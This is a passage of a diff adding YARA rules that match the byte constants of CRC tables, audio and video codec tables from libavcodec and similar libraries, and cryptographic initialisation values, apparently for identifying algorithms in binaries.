+	$a0 = { 000000000000000100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000001a0000001b0000001c0000001d0000001e0000001f00000000000000000000000100000003000000060000000a0000000f000000150000001c000000240000002d00000037000000420000004e0000005b00000069000000780000008800000099000000ab000000be000000d2000000e7000000fd000001140000012c000001450000015f0000017a00000196000001b3000001d100000000000000000000000000000001000000040000000a0000001400000023000000380000005400000078000000a5000000dc0000011e0000016c000001c700000230000002a800000330000003c9000004740000053200000604000006eb000007e8000008fc00000a2800000b6d00000ccc00000e4600000fdc0000118f0000000000000000000000000000000000000001000000050000000f00000023000000460000007e000000d20000014a000001ef000002cb000003e9000005550000071c0000094c00000bf400000f24000012ed0000176100001c9300002297000029820000316a00003a660000448e00004ffb00005cc700006b0d00007ae90000000000000000000000000000000000000000000000010000000600000015000000380000007e000000fc000001ce0000031800000507000007d200000bbb000011100000182c0000217800002d6c00003c9000004f7d000066de000083710000a6080000cf8a000100f400013b5a00017fe80001cfe300022caa000297b700000000000000000000000000000000000000000000000000000001000000070000001c00000054000000d2000001ce0000039c000006b400000bbb0000138d00001f480000305800004884000069fc000097680000d3f80001237500018a5300020dc40002b3cc000383560004844a0005bfa400073f8c00090f6f000b3c1900000000000000000000000000000000000000000000000000000000000000010000000800000024000000780000014a00000318000006b400000d680000192300002cb000004bf800007c500000c4d400012ed00001c63800029a300003bda5000547f8000755bc000a0988000d8cde001211280017d0cc001f105800281fc7000000000000000000000000000000000000000000000000000000000000000000000001000000090000002d000000a5000001ef0000050700000bbb000019230000324600005ef60000aaee0001273e0001ec1200031ae20004e11a00077b4a000b38ef001080e70017d6a30021e02b002f6d0900417e3100594efd00785f55000000000000000000000000000000000000000000000000000000000000000000000000000000010000000a00000037000000dc000002cb000007d20000138d00002cb000005ef60000bdec000168da0002901800047c2a0007970c000c78260013f370001f2c5f002fad46004783e9006964140098d11d00da4f4e01339e4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000b000000420000011e000003e900000bbb00001f4800004bf80000aaee000168da0002d1b4000561cc0009ddf600117502001ded280031e09800510cf70080ba3d00c83e260131a23a01ca735702a4c2a50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000c0000004e0000016c00000555000011100000305800007c500001273e00029018000561cc000ac3980014a18e00261690004403b80075e45000c6f1470147ab84020fe9aa03418be4050bff3b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000d0000005b000001c70000071c0000182c000048840000c4d40001ec1200047c2a0009ddf60014a18e0029431c004f59ac00935d64010941b401d032fb0317de7f0527c8290869540d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000e00000069000002300000094c00002178000069fc00012ed000031ae20007970c0011750200261690004f59ac009eb358013210bc023b5270040b856b072363ea0c4b2c130000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000f00000078000002a800000bf400002d6c000097680001c6380004e11a000c7826001ded28004403b800935d64013210bc02642178049f73e808aaf9530fce5d3d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000010000000880000033000000f2400003c900000d3f800029a3000077b4a0013f3700031e0980075e450010941b4023b5270049f73e8093ee7d011e9e12300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000001100000099000003c9000012ed00004f7d000123750003bda5000b38ef001f2c5f00510cf700c6f14701d032fb040b856b08aaf95311e9e123 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x82F63B78__32_big_refl_False_
+{
+strings:
+	$a0 = { 0000000082f63b78871a4d8805ec76f08cc2a0680e349b100bd8ede0892ed6989b737ba8198540d01c6936209e9f0d5817b1dbc09547e0b890ab9648125dad30b410cc2836e6f750330a81a0b1fcbad838d26c40ba245738bfc821c83d3e1ab02f63b780ad958cf8a879fa082a8fc170a3a117e821572c9024bb5a60a64d6118ead7a328682198506dcdeea0ef3bd5d866150340e4e33838e10f4ec863f975b071a4d880f352e3f8f6be95087448ae70fd6678e87f9043907a7c3560f88a0e185ec76f00dc315478d9dd22885b2b19f0d205cf6850f3f410551f82e0d7e9b998c5b414a847422fd042ae5920c05862584976b4c0cb808fb8ce6cf9484c9ac23057597d28d5af4650d04330a052b50bd8db9bdd40596de6385c8190c8de77abb0cc2a06804edc3df84b304b08c9c6707040e8a6e8c21e9d90c7f2eb604504d018e349b10061bf8a786453fc88e6a5c7f06f8b1168ed7d2a10e8915ce06a676798783acaa8faccf1d0ff2087207dd6bc58f4f86ac0760e51b873e22748f1141c30bd8ede003f78e5783a949388b862a8f0314c7e68b3ba4510b65633e034a0089826fda5a8a40b9ed0a1e7e8202311d358aa3f05c028c93eb82d254848afd37330099e12288b6829508e845fa00c7264d8855cb24007aa89380246ffc880b0c4b092ed6980101b52f815f7240897011f701e2fc9e89cd9f290993584601bc3bf18aeb2fa502c44c12829a8b7d8ab5e8ca022705a38a0866140a56a17b0279c2cc835c181f8b737ba80b2dbcc70302df708b90321903bf51ae83e196c18bcef57601aa2367898540d009db87bf01f4e4088966096101496ad68117adb98938ce0e081d14dd0032776a806cb0058843d3b200d13edb88fe5d6c08a09a03008ff9b4844655978c6936200c37f14f041892f88c8a7f9104a51c2684fbdb498cd4b8fe0df1622d05de019a8580c6f58dafa542053d482b8d122b9c0d4cecf305638f448f07595507283ae28776fd8d8f599e3a07cb73538fe410e40fbad78b0795b43c86b06eef8e9f0d580ec1ca3706eea9808e7c44e90653275e860de0318e2283860f9eb87787b1dbc007ef1caf0fc07f18875292710f7df1c68f2336a9870c551e06298fcd0e06ec7a8e582b15867748a20ee5a5cb86cac67c069401130ebb62a484dfb4b50cf0d7028cae106d848173da0c139eb3843cfd0404623a6b0c4d59dc8d68830f8547e0b8051927d70d36446085a4a9090d8bcabe8dd50dd185fa6e660133c245091ca1f28942669d816d052a09ffe84381d08bf4018e4c9b09a12f2c8884f5ff80ab964800f5512708da32908048dff90867bc4e88397b21801618960a72ce87825dad3002036a5f0a2c09e882bee4810a9187368acf405982e023ee03c5f93d0bea9a8a8bb45de5839b3e520b09d33b8326b08c037877e30b5714548 }
+
+condition:
+	$a0
+}
+
+	
+rule Yamaha_ADPCM_index_table__16_big_32_
+{
+strings:
+	$a0 = { 00e600e600e600e6013301990200026600e600e600e600e60133019902000266 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_191V1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 4e13ca542744d696e67687561517552f279a8c84 }
+
+condition:
+	$a0
+}
+
+	
+rule Electronic_Arts_ADPCM_table__32_lil_80_
+{
+strings:
+	$a0 = { 00000000F0000000CC01000088010000000000000000000030FFFFFF24FFFFFF0000000001000000030000000400000007000000080000000A0000000B00000000000000FFFFFFFFFDFFFFFFFCFFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_mxf_mpeg2_codec_uls__8_byt_128_
+{
+strings:
+	$a0 = { 060e2b34040101030401020201011000060e2b34040101030401020201011100060e2b34040101030401020201020200060e2b34040101030401020201020300060e2b34040101030401020201030200060e2b34040101030401020201030300060e2b34040101030401020201040200060e2b34040101030401020201040300 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_FAC__16_lil_16_
+{
+strings:
+	$a0 = { ff47ff4fff57ff5fff67ff6fff77ff7f }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_gif_clut__8_byt_648_
+{
+strings:
+	$a0 = { 0000000000330000660000990000cc0000ff0033000033330033660033990033cc0033ff0066000066330066660066990066cc0066ff0099000099330099660099990099cc0099ff00cc0000cc3300cc6600cc9900cccc00ccff00ff0000ff3300ff6600ff9900ffcc00ffff3300003300333300663300993300cc3300ff3333003333333333663333993333cc3333ff3366003366333366663366993366cc3366ff3399003399333399663399993399cc3399ff33cc0033cc3333cc6633cc9933cccc33ccff33ff0033ff3333ff6633ff9933ffcc33ffff6600006600336600666600996600cc6600ff6633006633336633666633996633cc6633ff6666006666336666666666996666cc6666ff6699006699336699666699996699cc6699ff66cc0066cc3366cc6666cc9966cccc66ccff66ff0066ff3366ff6666ff9966ffcc66ffff9900009900339900669900999900cc9900ff9933009933339933669933999933cc9933ff9966009966339966669966999966cc9966ff9999009999339999669999999999cc9999ff99cc0099cc3399cc6699cc9999cccc99ccff99ff0099ff3399ff6699ff9999ffcc99ffffcc0000cc0033cc0066cc0099cc00cccc00ffcc3300cc3333cc3366cc3399cc33cccc33ffcc6600cc6633cc6666cc6699cc66cccc66ffcc9900cc9933cc9966cc9999cc99cccc99ffcccc00cccc33cccc66cccc99ccccccccccffccff00ccff33ccff66ccff99ccffccccffffff0000ff0033ff0066ff0099ff00ccff00ffff3300ff3333ff3366ff3399ff33ccff33ffff6600ff6633ff6666ff6699ff66ccff66ffff9900ff9933ff9966ff9999ff99ccff99ffffcc00ffcc33ffcc66ffcc99ffccccffccffffff00ffff33ffff66ffff99ffffccffffff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_level_table__flt32___32_big_512_
+{
+strings:
+	$a0 = { 3e3504f33eda82733f1a827b3f5a827b3f9a827a3fd7800040180000405780004098000040d7800041180000415780004198000041d7800042180000425780004298000042d7800043180000435780004398000043d7800044180000445780004498000044d7800045180000455780004598000045d7800046180000465780004698000046d7800047180000475780004798000047d7800048180000485780004898000048d7800049180000495780004998000049d780004a18000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003f1800003f5780003f9800003fd7800040180000405780004098000040d7800041180000415780004198000041d7800042180000425780004298000042d7800043180000435780004398000043d7800044180000445780004498000044d7800045180000455780004598000045d7800046180000465780004698000046d7800047180000475780004798000047d7800048180000485780004898000048d7800049180000495780004998000049d780004a1800004a578000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule DFC_values__32_lil_AND_
+{
+strings:
+	$a0 = { 9a7464eb[0-20]27bfd186[0-20]1d249b5b[0-20]6251e1b7[0-20]6a2aed8a[0-20]805871bf[0-20]c7f3f49c[0-20]0f16e762[0-20]56dab438[0-20]04d984a7[0-20]efcf9051[0-20]38774e32[0-20]e5fb6c92[0-20]8d8dbff4[0-20]63d7318c[0-20]0ac806da[0-20]eb8511bb[0-20]577b7c4f[0-20]8495f557[0-20]7dd4cf90[0-20]42bb197c[0-20]54958d15[0-20]ce6bb4f7 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_ccpl_huffcodes5__16_lil_62_
+{
+strings:
+	$a0 = { f803f903fa03fb03f801f901f800f9007800790038003900180019000400000005001a001b003a003b007a007b00fa00fb00fa01fb01fc03fd03fe03ff03 }
+
+condition:
+	$a0
+}
+
+	
+rule Tiger_crypto_algorithm_init__64_lil_AND_
+{
+strings:
+	$a0 = { efcdab8967452301[0-20]1032547698badcfe[0-20]87e1b2c3b4a596f0 }
+
+condition:
+	$a0
+}
+
+	
+rule huffyuv_med_yuv__8_byt_188_
+{
+strings:
+	$a0 = { 4225264768c90a090b0b0c090d090e090f081009d13231d2533453743537363738597a383738793a393a5958393837583978595a98793a393837563536353635343574731208110810080f09ee0d090c0a0b0beac98867262422422426282a2b2c2d2e2f30513273743534955455363719191a8c191058393837387675140a937231502f4e2c2b2a272523222123252728294b2c4d2e4f70715294353938593819b838190c38395836373554335231304f2e2d4c2b2a292827242200 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dcahuff_scales_codes__16_big_1290_
+{
+strings:
+	$a0 = { 3ab03ab23ab43ab63ab83aba3abc3abe3ac03ac23ac43ac63ac83aca3acc3ace3ad03ad23ad43ad63ad83ada3adc3ade3ae03ae23ae43ae63ae83aea3aec3aee3af03af23af43af63af83afa3afc3afe05400542054405460548054a054c054e0558055e02ad0154075403a80056002800e8004a000b003b00130003000f00050001000600000008001c00040024004b00e90029005703a90755015502ae055f0559054f054d054b054905470545054305413aff3afd3afb3af93af73af53af33af13aef3aed3aeb3ae93ae73ae53ae33ae13adf3add3adb3ad93ad73ad53ad33ad13acf3acd3acb3ac93ac73ac53ac33ac13abf3abd3abb3ab93ab73ab53ab33ab10f600f620f640f660f680f6a0f6c0f6e0f700f720f740f760f780f7a0f7c0f7e0f800f820f840f860f880f8a0f8c0f8e0f900f920f940f960f980f9a0f9c0f9e0fa00fa20fa40fa60fa80faa0fac0fae0fb00fb20fb40fb60fb80fba0fbc0fbe07a007a203d201ea00fc007f001c000c000400340010001b0009000b000e000100030002000f000c000a0000001100350005000d001d003c00fd01eb03d307a307a10fbf0fbd0fbb0fb90fb70fb50fb30fb10faf0fad0fab0fa90fa70fa50fa30fa10f9f0f9d0f9b0f990f970f950f930f910f8f0f8d0f8b0f890f870f850f830f810f7f0f7d0f7b0f790f770f750f730f710f6f0f6d0f6b0f690f670f650f630f6151d051d251d451d651d851da51dc51de51e051e251e451e651e851ea51ec51ee51f051f251f451f651f851fa51fc51fe70c070c270c470c670c870ca70cc70ce70ec10ea3868387708761c3504340a340e1b021b051b070f010f03800080014001c1004100a100e20022005200720012002a003a000a0016001e0006000c000000040001000d0007001f0017000b003b002b001300730053002300e300a2004201c2014100810381028c010c051c021c0e1c0a3504351c3a08770874386910eb70ed70cf70cd70cb70c970c770c570c370c151ff51fd51fb51f951f751f551f351f151ef51ed51eb51e951e751e551e351e151df51dd51db51d951d751d551d351d16f646f666f686f6a6f6c6f6e6f706f726f746f766f786f7a6f7c6f7e6f806f826f846f866f886f8a6f8c6f8e6f906f926f946f966f986f9a6f9c6f9e6fa06fa26fa46fa66fa86faa6fac6fae6fb06fb26fb46fb617b437dc0bdb1bef05ee0df802f806fd017d037f00bf004000c00021006100110031000900190006000e000400000005000f0007001a000a00360016006e002e00c1004101bc00bc037a017a02f90df905ef05ec1bd837dd17b56fb76fb56fb36fb16faf6fad6fab6fa96fa76fa56fa36fa16f9f6f9d6f9b6f996f976f956f936f916f8f6f8d6f8b6f896f876f856f836f816f7f6f7d6f7b6f796f776f756f736f716f6f6f6d6f6b6f696f676f65df54df56dfc8dfcadfccdfcedfd0dfd2dfd4dfd6dfd8dfdadfdcdfdedfe0dfe20fe82fea6fa86ff607f507f737d237f903f80bf80bfb1beb01fa05fa09fa0dfa0dff00ff02ff06fb007c017c027c027f003c00bc013c01bc001c005c009c00dc000c002c004c006c00040014002400340000000800100018001e00020006000a000e000b00070003001f00190011000900010035002500150005006d004d002d000d00dd009d005d001d01bd013d00bd003d037c027d017d007d06fc04fc02fc00fc0dfb09fb05fb01fb1bf81be80bf903f937fa37d317f407f66ff76fa92feb0fe9dfe3dfe1dfdfdfdddfdbdfd9dfd7dfd5dfd3dfd1dfcfdfcddfcbdfc9df57df55 }
+
+condition:
+	$a0
+}
+
+	
+rule VMAC__64_big_AND_
+{
+strings:
+	$a0 = { fffffffffffffeff[0-20]3fffffffffffffff[0-20]7fffffffffffffff[0-20]ffffffffffffffff[0-20]1fffffff1fffffff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_exp2b__16_big_64_
+{
+strings:
+	$a0 = { 000302c8059008560b1d0de510ae1376164019091bd41e9f216a2436270229d02c9d2f6a3239350837d73aa63d764047431845ea48bc4b8f4e625136540a56de }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_inv_freq__8_byt_64_
+{
+strings:
+	$a0 = { 000102030405060708090a0b0c0d0e0f0f0f10101010111111111212121212121313131313131313131313131313131313131313131313131313131313131313 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x26d930ac__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000e44b363601a17506e5ea43300242eb0ce609dd3a03e39e0ae7a8a83c0484d619e0cfe02f0525a31fe16e952906c63d15e28d0b2307674813e32c7e250808ad33ec439b0509a9d835ede2ee030a4a463fee0170090beb3339efa0050f0c8c7b2ae8c74d1c0d2d0e2ce966381a0ece9026ea85a6100f6fe520eb24d316d926430d3d6d753bd887360b3ccc003ddb64a8013f2f9e37dac5dd073e8eeb31dda2951439e9a322dc03e0123848d624dfe07e183bab482ede410b1e3a0a3d28d12eee3e3565d808d08f9b3834c4ad0ed36c053237273304d2cd703436864602d5aa382731e10e11d40b4d2130407b17d7e8d32b33a3e51dd649a62d3202901bb24d861a5606b02cb3ecf31c57a7c52ab00f6d1654445b20b1ae181055e52e26b6c9500352826635b768250553231333b48bbb0f50c08d39b52ace095161f83fba452b295e0e1d1fbbe45e2f5faf6819b807c0255c4cf613b9a6b5235ded8315bec1fd305a8acb06bf6088365b2bbe00bc83163c58c8200abd22633a5969550c6b6bc5178f20f3216acab0118e81862769292e1b8d62182d68885b1d8cc36d2b6fef130e8ba425386e4e66088a05503e6dadf80289e6ce346c0c8d048847bb326363682487285e1262c21d2286892b1461218328856ab51e6080f62e84cbc01867e7be3d83ac880b6646cb3b820dfd0d65a5553181ee630764042037804f1601649b0c3580d03a03653a793381714f0566d9e7398292d10f6778923f8333a409601fda2c8454ec1a61beaf2a85f5991c625d31208616071663fc442687b772106c93a10688d897306d32d4008979e2366ed14a0a8a9a7c3c6f703f0c8b3b093a6817771f8c5c412969b602198dfd342f6a559c138e1eaa256bf4e9158fbfdf23bdbd4f3859f6790ebc1c3a3e58570c08bfffa4345bb49202be5ed1325a15e704b93999215d72af17b898ec275cd3da11bb7b722d5f30441bbada072b5e91311db5b5e20b51fed43db414970d505fa13bb7f7090753bc3f31b6567c01521d4a37b1313412557a0224b090411454db7722b373df1e5738e928b2d2aa1856999c2ed6d68a2f329dbc19d777ff29333cc91fd494612330df5715d5351425317e2213d2525c3636196a00d3f3293037b81f06d010b73a345b810cd1b1c23c35faf40adede271c3a95112adf7f521a3b34642cdc9ccc1038d7fa26dd3db91639768f20da5af1053e11c733dbfb84033fb0b235d8181a093c532c3fd9b96f0f3df259390ff0c922ebbbff140e51bc24ea1a8a120db2222ee9f914180c135728e858611e0b741f3bef3f290d0ad56a3dee9e5c0b0936f437ed7dc20108978131ecdcb70707f86411e3b3522706591117e212272105ba8f1de1f1b92b041bfa1be050cc2d037cb208e737843e02ddc70ee696f138013e5904e5756f32009f2c02e4d41a34 }
+
+condition:
+	$a0
+}
+
+	
+rule TNS_filter_tns_max_bands_tbl_low_delay__32_lil_128_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000001f0000001f000000200000002000000025000000250000001e0000001f0000001e0000001f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc_CC__flt64___64_big_144_
+{
+strings:
+	$a0 = { 40f000000000000040d5555554c985f040c999999999999a40c2492491d14e3c40bc71c71de69ad440b1111113404ea540a084210624dd2f40904103fe5c91d14080204083126e984070100ff972474540600804189374bc40500401a36e2eb2404001ff2e48e8a7403000ff9724745440200083126e978d401000346dc5d639400000346dc5d6393ff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_center_rear__180_degree___flt32___32_lil_512_
+{
+strings:
+	$a0 = { 96337bb839f96eb9b96a8b3924e8c5b9010bee396a53dcb966ca8539314c94396c3885ba88a93b3b82640d3b2298293c86bb2bbc103958bcac3e513b37d3ed3c2b29273e8a86d63d1751d6bd19a6bdbd083af6bbcdc25e3c58d3a2bc7c93003e4cc9ba3ea240473e9b9e35bd52cd3e3db73dc23d2b8600bd3be4d2bda682bfbd6f53e7bdd7d518be4d34fcbd852f82bd6bea5ebd63009bbdf5febebc4e872e3d803db83cc7c9a73c9e7a673d1b0d713d80871b3d08cc403c5caab73be983a53b4bc753bc89f1c3bc7d1d59bc21392fbc7c5afcbc49f715bddd541bbd61ce2cbd28dfd9bc52e41fbcba5407bbd39a1ebb6740d9bb2063973bf4569f3c04268e3cc084903cf9f5b93c76749b3c695e183c152cdebabe3cddbba3b219bc6ca337bc586856bc77b087bcf141b4bc9238cebc36998abc0cbf0dbca95fe5bb6ebeb2bb74790abb4e434439962c96b9e3e2e63a0aeae43b724c2d3c9ee1d33bdc75c4ba67fd81bba181d5bb401419bcac72fabbbc0590bb661048bb8100e6bb1b991fbc478c02bcd7a3ffbb72eef6bb6a3768bb92b2c53a0b00193bcfa483ba40c725bb17551bbb2ae11aba2678433bff3c9e3b1813933b0fc6dd37b1f489bbc032cabb4421eebba3a8dfbb0118e2bb2ad3f0bbdb891cbc172c41bcb56b2ebc10e2d3bb1dd304bbb162e3b92f7192bae13eebba178527bbb347e8ba6b8579b96de93a3a }
+
+condition:
+	$a0
+}
+
+	
+rule swscale_rgb2yuv_table__flt64___64_big_576_
+{
+strings:
+	$a0 = { 3fe6e2eb1c432ca53fb27bb2fec56d5d3fcb367a0f9096bcbfd8b4395810624e3fe0000000000000bfbd70a3d70a3d71bfdd0e5604189375bfa78d4fdf3b645a3fe00000000000003fe6e2eb1c432ca53fb27bb2fec56d5d3fcb367a0f9096bcbfd8b4395810624e3fe0000000000000bfbd70a3d70a3d71bfdd0e5604189375bfa78d4fdf3b645a3fe00000000000003fe2c8b4395810623fbd2f1a9fbe76c93fd322d0e5604189bfd52f1a9fbe76c93fe0000000000000bfc5a1cac083126fbfdad0e560418937bfb4bc6a7ef9db233fe00000000000003fe2c8b4395810623fbd2f1a9fbe76c93fd322d0e5604189bfd52f1a9fbe76c93fe0000000000000bfc5a1cac083126fbfdad0e560418937bfb4bc6a7ef9db233fe00000000000003fe2e147ae147ae13fbc28f5c28f5c293fd3333333333333bfd52f1a9fbe76c93fe0000000000000bfc5a1cac083126fbfdaf1a9fbe76c8bbfb4395810624dd33fe00000000000003fe2c8b4395810623fbd2f1a9fbe76c93fd322d0e5604189bfd52f1a9fbe76c93fe0000000000000bfc5a1cac083126fbfdad0e560418937bfb4bc6a7ef9db233fe00000000000003fe2c8b4395810623fbd2f1a9fbe76c93fd322d0e5604189bfd52f1a9fbe76c93fe0000000000000bfc5a1cac083126fbfdad0e560418937bfb4bc6a7ef9db233fe00000000000003fe66e978d4fdf3b3fb645a1cac083123fcb22d0e5604189bfd89374bc6a7efa3fe0000000000000bfbdb22d0e560419bfdc7ae147ae147bbfac28f5c28f5c293fe0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes3__16_lil_1214_
+{
+strings:
+	$a0 = { 000004002200c600b0030c000d002300c700b1035c00c800c900b203a40fc201c301b303a50f727fb403b2079a1f24ff25ff0e002400ca00b503b3070f002500cb00b603a60f5d005e00cc00b7039b1fc401c501b803a70f737fa80fb4079c1f26ff27ff5f00c601b903a90f747f6000cd00ba03aa0f9d1fc701c801b5079e1f28ffb607b707ab0fa23f29ffac0fad0fa33f2affa23fc901b807ae0f2bff2cffca01bb039f1f757f2dffbc03b907af0f2eff2fffa01fa11f30ff31ff32ff33ff34ff767f35ff31ffba07a21f36ff37ff777fbb07a31f787f38ff39ffa41fa51f3aff3bff2effa43f3cff3dff3eff31ff3fff40ff30ff31ff31ff05002600ce00bd03a61f27002800cf00be03a71fcb01d000bf03b00f41ffc003c103bc07797f42ffa81fb10fa53f43ff44ff10002900d100bd07a91f2a002b00d200c203aa1fd300d400cc01be07a63fc303c403b20fb30f45ffab1fb40fac1f7a7f46ff6100d500cd01b50f47ff6200d600c503b60fa73fce01cf01c603ad1f48ffbf07c703b70f7b7f49ffae1faf1f4aff4bff7b7fd001c007b01f4cff4dffd101c803b80f7c7f4effc903c107b11f4fff50ffb21fb90f51ff52ff53ff54ff55ff56ff57ff52ffc207b31f58ff59ff5affc307b41f5bff5cff5dffba0fb51f7d7f5eff4fff5fff60ff61ff62ff52ff63ff64ff51ff52ff52ff2c00d700c407b61f65ffd800d900ca03bb0f66ffc507cb03c607b71f67ffbc0fb81fb91f7e7f68ff69ff6affa83f6bff7e7f2d00da00cc03ba1f6cffdb00dc00cd03bd0f6dffce03cf03c707bb1f6effbc1fbe0fbd1f6fff70ffa93faa3fab3f71ff6fffdd00d201c807be1f72ffde00d301c90773ffac3fd003d103bf0f7f7f74ffc00fc10fbf1f75ff76ff807f77ff78ff79ff75ffd203c20f817f7aff7bffd303c30fc40fad3f7cffc50fc60fc01f7dff7effae3f827f7fff80ff80ff81ff82ff83ff80ff80ffc70f837f847f84ff7affc11fc21f85ff86ffad3faf3f87ff88ff89ff7dff8aff8bff8cff80ff80ffae3f827f7fff80ff80ffdf00d403c31f857f8dffd503ca07c41f8eff8fffc51fc61fb03f90ff91ff92ff93ff94ff95ff96ff97ff98ff99ff9aff95ffe000d603cb07867f9bffd401d703c80f9cff9dffc90fca0f877f9eff9fffa0ffb13fa1ffa2ffa3ffa4ffa5ffa6ffa7ffa2ffd501cc07b23fa8ffa9ffd803cd07c71faaffabffb33fc81fb43facffadffaeff887f897fafffafffb0ffb1ffb2ffafffafffce07c91fb3ffb4ffb5ffcf07ca1f8a7fb6ffb7ffcb1fb8ffb9ffbaffbaffbbffbcffbdffbeffbeffbfffc0ffbdffbeffbeff8b7fc1ffc2ffc3ffb4ffb53fc4ffc5ffc6ffb6ffc7ffc8ffc9ffbaffbaffcaffcbffbdffbeffbeffbbffbcffbdffbeffbeffd601cc1fccffcdffceffd007cd1fcfffd0ffd1ffb63f8c7fd2ffd3ff90ff8d7fd4ffd5ffd6ff95ffd7ffd8ff94ff95ff95ffd701ce1f8e7f8f7fd9ffcb0fcf1fb73fdaffdbffdcff907fddffdeff9effdfffe0ffe1ffe2ffa2ffe3ffe4ffa1ffa2ffa2ffd107d01f917fe5ffa8ffcc0fb83fe6ffe7ffaaffe8ffe9ffeaffebffacffecffedffeeffafffafffaeff887f897fafffafffeffff0fff1fff2ffb4fff3fff4fff5fff6ffb6fff7fff8fff9ffbaffbafffafffbffbdffbeffbeffbbffbcffbdffbeffbefffcfffdffb3ffb4ffb4fffeffffff }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0xDB710641__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000a6e6d3a9fbd066575d36b5fef6a1cdae50471e070d71abf9ab9778505b5e5a59fdb889f0a08e3c0e0668efa7adff97f70b19445e562ff1a0f0c92209b6bcb4b2105a671b4d6cd2e5eb8a014c401d791ce6fbaab5bbcd1f4b1d2bcce2ede2eeeb4b043d42163288bcb0d45b151b432345bda5f0ece0934512467596bbdb64a8617d827bc820b4ce3686521d9f2dc565cf8b23b666d615039870f3d031803af23826dc21917bea946fdd0c47c6769b3f96d07dec3f8d4b59c12bad8a686dd81cd3cb3ecf7a96087a8430eea92d9b79d17d3d9f02d460a9b72ac64f64833686468a90609523cd5620dd6bb0f374c0278b2466c1588d3bf7ed739d113edab6c950c3102f836a4d193694ebffe53d40689d6de68e4ec4bbb8fb3a1d5e2893ed970a9a4b71d93316476ccdb0a1bf641b36c734bdd0149de0e6a163460072ca0075e471a69337d8fba582265d43518ff6d429df5032fa760d044f88abe29c215b2bbe28fdcd6d81a0fbd87f061d0bd6ad8a73860b6ca02f565a15d1f0bcc6786dadf8a2cb4b2b0b967d9ef5309b4d5c9b0c350c3deae6a560dc535bc63a80f236f3a2fb90157152cd23c4ac6bc51705c0526f5566b4bcfc3b8209029d64daabdb114c107df79fb920c12a478627f9ee2db081be8b565217d660e7e970863440804f164926a9c5e07b9f701edd79a3b776eedbe7d008084e8d3ebdb02bd86e19db8e60827d68b32b205e06d586b8d57c2d2fad2c8bc97e85d6ffcb7b701918d280d03adb2636e9727b005c8cdde68f257671f775d09724dc8da191222b47428b6d32d430cbd4079996e2b267300461ce9b93199e3d75ca3760437fc9c6a5ac60366c8e69908a5dc0cdbce83e6b5a3b97c0cd43c7662b906e3b1d25909dfbf63900eac8e3a60c1b4afb3aaeb45ddc7d1df64b054d50add6e40d9b631aab7db0b35bb492bafd524113a064f4ed06822744ad155f140bf38cbd56c53943f023eaeab6567c5110b0aff84d861a06eb60c9af40f7b1ffe6116256bb27d7a81dc10401ed0826084beef5a116d8405fb03e93f61ba9eba6bd4f380fe0798df1469f5e586d473041cba1e3e896975616307185bf9be6fdef3d002e4660369bb8c6d0481136196a1890ffb9b1cdc90c4f6b2fdfe6c0b8a7b6665e741f3b68c1e19d8e1248dbfb84f37d1d575a202be2a486cd310d2d5a495d8bbc9af4d68a2f0a706cfca380a5deaa26430d037b75b8fddd936b5476041304d0e2c0ad8dd475532b32a6fab623982010c54b894df3fe77eb152dde4082558ee6648627bb5233d91db4e070ed7dc2794b9b11d016ada42eb04b77871bdc0fd7bd3adc7ee00c698046eaba29009f2c92a679ff3bfb4f4ac55da9996cf63ee13c50d832950dee876bab0854c25bc176cbfd27a562a011109c06f7c335ad60bb650b8668cc56b0dd32f0560e9b }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_48_1024__16_lil_98_
+{
+strings:
+	$a0 = { 040008000c001000140018001c0020002400280030003800400048005000580060006c00780084009000a000b000c400d800f00008012401400160018001a001c001e00100022002400260028002a002c002e00200032003400360038003a0030004 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_240__flt64___64_big_3840_
+{
+strings:
